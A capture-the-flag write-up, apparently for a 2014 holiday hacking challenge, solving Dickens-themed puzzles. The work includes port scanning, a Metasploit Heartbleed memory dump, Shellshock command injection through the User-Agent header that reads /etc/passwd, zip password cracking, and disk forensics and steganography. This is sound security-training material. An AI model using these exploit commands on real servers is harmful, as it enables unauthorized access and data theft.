# A Christmas Hacking Carol

Kerem Kocaer

## The Ghost of Hacking Past

*"She's at 173.255.233.59 and has an important message to share with you, Scrooge. Feel free to connect with her, surf the Internet together, and see if you can discover her secret."*

We start by portscanning the IP address and discover what the Ghost's friend has to offer. The key here is to scan all ports with "**-p-**" (equivalent to "**-p1-65535**").

```
root@kali:/tmp/sans# nmap -v 173.255.233.59 -p-
Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-02 13:07 EET
[…]
Nmap scan report for li243-59.members.linode.com (173.255.233.59)
Host is up (0.15s latency).
Not shown: 65531 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
25/tcp    filtered smtp
31124/tcp open     unknown
48927/tcp filtered unknown
```

We notice port 31124 is open, connect to it with netcat and get greeted by Eliza.

```
root@kali:/tmp/sans# nc -v 173.255.233.59 31124
li243-59.members.linode.com [173.255.233.59] 31124 (?) open
I AM ELIZA.  WHAT'S ON YOUR MIND?
>
```

Let's ask Eliza about the secret. A few times…

```
I AM ELIZA.  WHAT'S ON YOUR MIND?
> secret
A GIRL'S GOTTA KEEP HER SECRETS.  WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE?
> secret
YOU REALLY ARE INTERESTED IN MY SECRET.  I THINK WE SHOULD GET TO KNOW EACH OTHER
BETTER FIRST.  TELL ME ABOUT YOUR FAVOURITE WEBSITES.
> secret
I AM SO SORRY, BUT I CAN'T TELL YOU MY SECRET VIA THIS DIALOG.  I DO REALLY LIKE YOU,
BUT I WORRY THAT SOMEONE MAY BE SHOULDER SURFING YOU.  NO ONE IS SHOULDER SURFING ME,
THOUGH, SO WHY DON'T YOU GIVE ME A URL THAT I CAN SURF TO?
```

Seems like Eliza wants to tell us something by visiting a URL. Let's set up a netcat listener and ask Eliza to pay us a visit.

On our local machine:

```
root@ubuntu:~# nc -lvp 12345
Listening on [0.0.0.0] (family 0, port 12345)
```

So how do we ask Eliza to connect to us? The keyword here is "surf", which is given as a hint by both Eliza ("Why don't you give me a URL that I can **surf** to?") as well as the Ghost ("**surf** the internet together").

```
> surf http://grayhat.se:12345
```

In our local machine, we now get a connection:

```
Connection from [173.255.233.59] port 12345 [tcp/*] accepted (family 2, sport 52348)
GET / HTTP/1.1
Accept-Encoding: identity
Host: grayhat.se:12345
Connection: close
User-Agent: Mozilla/5.0 (Bombe; Rotors:36) Eliza Secret: "Machines take me by surprise
with great frequency. -Alan Turing"
```

The secret is: **"Machines take me by surprise with great frequency. -Alan Turing"**

## The Ghost of Hacking Present

*"Those secrets should shock your heart, teaching you important lessons for all time"*

Johnny's words above give us two important hints, one for each of the hidden secrets.

### Web Secret #1

```
"Those secrets should shock your heart"
"… shock your heart"
"… your heart"
"… heart"
Heartbleed?!
```

Let's use Metasploit's Heartbleed scanner module to check if the server is vulnerable.

```
root@kali:/tmp/sans# msfcli auxiliary/scanner/ssl/openssl_heartbleed
rhosts=www.scrooge-and-marley.com E
[*] Initializing modules...
rhosts => www.scrooge-and-marley.com
[+] 23.239.15.124:443 - Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Leak! The server is vulnerable and we can use the same Metasploit module to dump the leaked memory content.

```
root@kali:/tmp/sans# msfcli auxiliary/scanner/ssl/openssl_heartbleed
rhosts=www.scrooge-and-marley.com action=DUMP E
[*] Initializing modules...
rhosts => www.scrooge-and-marley.com
action => DUMP
[+] 23.239.15.124:443 - Heartbeat response with leak
[*] 23.239.15.124:443 - Heartbeat data stored in
/root/.msf4/loot/20150102142156_default_23.239.15.124_openssl.heartble_687054.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

All left to do is to grep the secret from the dump.

```
root@kali:/tmp/sans# strings
/root/.msf4/loot/20150102142156_default_23.239.15.124_openssl.heartble_687054.bin |
grep -i secret
```

```
20for%20in%20the%20very%20air%20through%20which%20this%20Spirit%20moved%20it%20seemed%
20to%20scatter%20gloom%20and%20mystery.%0A%0AIt%20was%20shrouded%20in%20a%20deep%20bla
ck%20garment%2C%20which%20concealed%20its%20head%2C%20its%20face%2C%20its%20form%2C%20
and%20left%20nothing%20of%20it%20visible%20save%20one%20outstretched%20hand.%20But%20f
or%20this%20it%20would%20have%20been%20difficult%20to%20detach%20its%20figure%20from%2
0the%20night%2C%20and%20separate%20it%20from%20the%20darkness%20by%20which%20it%20was%
20surrounded.%20&Website%20Secret%20%231=Hacking%20can%20be%20noble%2eH
```

Let’s get rid of that URL encoding.

```
root@kali:/tmp/sans# strings
/root/.msf4/loot/20150102142156_default_23.239.15.124_openssl.heartble_687054.bin |
grep -i secret | php -r 'echo urldecode(fgets(STDIN));'

20for in the very air through which this Spirit moved it seemed to scatter gloom and
mystery.

It was shrouded in a deep black garment, which concealed its head, its face, its form,
and left nothing of it visible save one outstretched hand. But for this it would have
been difficult to detach its figure from the night, and separate it from the darkness
by which it was surrounded. &Website Secret #1=Hacking can be noble.H
```

The secret is: **Hacking can be noble.**

**Web Secret #2**

```
“Those secrets should shock your heart”
“… should shock your heart”
“… should shock …”
“… shock …”
Shellshock?!
```

By looking at the source code of the contact page (http://www.scrooge-and-marley.com/contact.html), we notice the presence of a shell script “submit.sh” under /cgi-bin.

Also, a Nikto scan will reveal that MultiViews is enabled on the web server:

```
root@kali:/tmp/sans/cewl# nikto -h http://www.scrooge-and-marley.com
[…]
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily
brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The
following alternatives for 'index' were found: index.html
```

This means we can request pages without any extensions  (for example “index”)  and Apache will automatically complete the extension for us (in this case it will serve “index.html”). This can even be used to enumerate valid extensions for a specific filename in a web directory (almost like a directory listing but not really), but we won’t need this “hack” to get this secret.

A “normal” GET on /cgi-bin/submit.sh will return the following:

```
root@kali:/tmp/sans# curl http://www.scrooge-and-marley.com/cgi-bin/submit.sh
```

```
<html><head><style type="text/css"> body { background-color: #E9DD09; } </style><META
http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/"></head></html>
```

Let's see what happens when we request **/cgi-bin/submit** instead of /cgi-bin/submit.sh.

```
root@kali:/tmp/sans# curl http://www.scrooge-and-marley.com/cgi-bin/submit

#!/bin/bash
echo 'Content-Type: text/html'
echo
echo
echo '<html><head><style type="text/css"> body { background-color: #E9DD09; }
</style><META http-equiv="refresh" content="0;URL=http://www.scrooge-and-
marley.com/"></head></html>'
```

A nice little bash script indeed. Let's try to shock it by injecting code via the User Agent.

```
root@kali:/tmp/sans# curl -A "() { :; }; echo; pwd;" http://www.scrooge-and-
marley.com/cgi-bin/submit.sh
/var/www/cgi-bin
Content-Type: text/html

<html><head><style type="text/css"> body { background-color: #E9DD09; } </style><META
http-equiv="refresh" content="0;URL=http://www.scrooge-and-marley.com/"></head></html>
```

Bingo! Our command (pwd) gets executed and the result (/var/www/cgi-bin) is displayed.
Let's create a small bash function to run commands and display only the relevant output.

```
root@kali:/tmp/sans# shock() { curl -s -A "() { :; }; echo; $@;" http://www.scrooge-
and-marley.com/cgi-bin/submit.sh | awk '/Content-Type/ {exit}{print}'; }


root@kali:/tmp/sans# shock pwd
/var/www/cgi-bin

root@kali:/tmp/sans# shock set
PIPESTATUS=([0]="0")
UNIQUE_ID=VKahDn8AAAEAADx4F4oAAAAW
_=echo
HTTP_USER_AGENT ()
{
    :
}
```

Sweet! Unfortunately, useful commands like "ls", "cat" won't work as we only have a limited shell. In fact, let's run "compgen" to see what commands, aliases and functions we can use.

```
root@kali:/tmp/sans# shock 'compgen -A function –abck'
```

This will list many commands, some of which are "read", "while", "do", "done" and "echo". By combining these commands, we can read and display files.

```
root@kali:/tmp/sans# shock 'while read -r line; do echo $line; done</etc/passwd'
www-data:x:33:33:www-data:/var/www:/bin/sh
```

Finding the secret is a matter of guessing its location and filename. After several tries, I managed to find the secret in the most obvious location, /secret.

```
root@kali:/tmp/sans# shock 'while read -r line; do echo $line; done</secret'
Website Secret #2: Use your skills for good.
```

The secret is: **Use your skills for good.**

## The Ghost of Hacking Future

We start by analyzing the file (hhusb.dd.bin) and mounting it on our system.

```
root@kali:/tmp/sans# file hhusb.dd.bin

hhusb.dd.bin: x86 boot sector, code offset 0x52, OEM-ID "NTFS    ", sectors/cluster 8,
reserved sectors 0, Media descriptor 0xf8, heads 255, hidden sectors 2048, dos < 4.0
BootSector (0x0)

root@kali:/tmp/sans# mkdir usb
root@kali:/tmp/sans# mount hhusb.dd.bin usb/
```

We start with two files: LetterFromJackToChuck.doc and hh2014-chat.pcapng.

### USB Secret #1

We discover the first secret by analyzing the metadata in the Word document:

```
root@kali:/tmp/sans/usb# exiftool LetterFromJackToChuck.doc | grep -i secret
Secret                          : USB Secret #1: Your demise is a source of mirth.
```

### USB Secret #2

The next secret is hidden in the packet capture (pcap-ng) file hh2014-chat.pcapng, and Wireshark is our friend. By using the Analyze > Expert info > Packet comments menu, we'll find two comments. The first one, "VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaWVmLg==", will give us the second secret. Base64-decoding this string results in:

```
root@kali:/tmp/sans# echo
"VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaWVmLg==" | base64 -d

USB Secret #2: Your demise is a source of relief.
```

PS: My starting point to find this secret was to grep for "==" within the file, hoping to find an HTTP request with Basic authentication header containing the base64 encoded secret. While I didn't find the secret within a Basic authentication header, this search led me to the right encoded string.

## USB Secret #3

Let’s go back to the original image file and see if we’ve missed anything. Sleuth Kit is here to help with file forensics. FLS is a tool within Sleuth Kit that can be used to list files and directories in a disk image, including deleted entries.

```
root@kali:/tmp/sans# fls hhusb.dd.bin
r/r 4-128-4:  $AttrDef
r/r 8-128-2:  $BadClus
r/r 8-128-1:  $BadClus:$Bad
r/r 6-128-4:  $Bitmap
r/r 7-128-1:  $Boot
d/d 11-144-4: $Extend
r/r 2-128-1:  $LogFile
r/r 0-128-1:  $MFT
r/r 1-128-1:  $MFTMirr
r/r 9-128-8:  $Secure:$SDS
r/r 9-144-6:  $Secure:$SDH
r/r 9-144-5:  $Secure:$SII
r/r 10-128-1: $UpCase
r/r 3-128-3:  $Volume
r/r 32-128-1: hh2014-chat.pcapng
r/r 32-128-5: hh2014-chat.pcapng:Bed_Curtains.zip
r/r 33-128-1: LetterFromJackToChuck.doc
-/r * 34-128-1:     Tiny_Tom_Crutches_Final.jpg
d/d 256:      $OrphanFiles
```

Two things stand out: “Bed_Curtains.zip” and “Tiny_Tom_Crutches_Final.jpg”.

First, we recover the hidden file “Bed_Curtains.zip” by using icat (another Sleuth Kit tool that outputs the contents of a file based on its inode number) and providing the inode number “32-128-5” found with fls.

```
root@kali:/tmp/sans# icat -r hhusb.dd.bin 32-128-5 > Bed_Curtains.zip
```

Unsurprisingly, the zip file is password-protected, so we’ll need to find the right password. Luckily, our friend Johnny had given us another tip: “*There's something important and even CeWL here for you*", and we had already prepared a wordlist by CeWLing www.scrooge-and-marley.com.

```
root@kali:/tmp/sans# cewl -d 1 -v http://www.scrooge-and-marley.com -m 5 -w
thanksjohnny.txt
```

We can now use fcrackzip to crack the zip password using the generated wordlist:

```
root@kali:/tmp/sans# fcrackzip -v -D -u -p thanksjohnny.txt Bed_Curtains.zip
found file 'Bed_Curtains.png', (size cp/uc 1429113/1434946, flags 9, chk 4d1a)
PASSWORD FOUND!!!!: pw == shambolic
```

We can now unzip the file and then analyze metadata in the png file:

```
root@kali:/tmp/sans# unzip Bed_Curtains.zip
[…]
root@kali:/tmp/sans# exiftool Bed_Curtains.png | grep -i secret
Comment                : USB Secret #3: Your demise is a source of gain for others.
```

## USB Secret #4

It’s time to focus on the other interesting file shown by fls, Tiny_Tom_Crutches_Final.jpg. To recover this deleted entry, we can use tsk_recover (again, from Sleuth Kit).

```
root@kali:/tmp/sans# tsk_recover -e hhusb.dd.bin .
Files Recovered: 4
```

We’re now in possession of Tiny_Tom_Crutches_Final.jpg, but the photo or its metadata do not reveal any secret. However, the second expert info packet comment in the PCAP file gave us the hint we need.

```
“https://code.google.com/p/f5-steganography/”
```

This website tells us that “F5 is a steganography algo for hiding information in JPEG images”, which suggests it might have been used on our mysterious photo of Tiny Tom’s Crutches. After downloading F5, we run it on the file and obtain the last secret:

```
root@kali:/tmp/sans# java -jar f5.jar x -e hidden.txt Tiny_Tom_Crutches_Final.jpg &&
cat hidden.txt

Huffman decoding starts
Permutation starts
423168 indices shuffled
Extraction starts
Length of embedded file: 116 bytes
(1, 127, 7) code used

Tiny Tom has died.

USB Secret #4: You can prevent much grief and cause much joy. Hack for good, not evil
or greed.
```

## The End

```
Eliza Secret: Machines take me by surprise with great frequency. -Alan Turing
Website Secret #1: Hacking can be noble.
Website Secret #2: Use your skills for good.
USB Secret #1: Your demise is a source of mirth.
USB Secret #2: Your demise is a source of relief.
USB Secret #3: Your demise is a source of gain for others.
USB Secret #4: You can prevent much grief and cause much joy. Hack for good, not evil
or greed.
```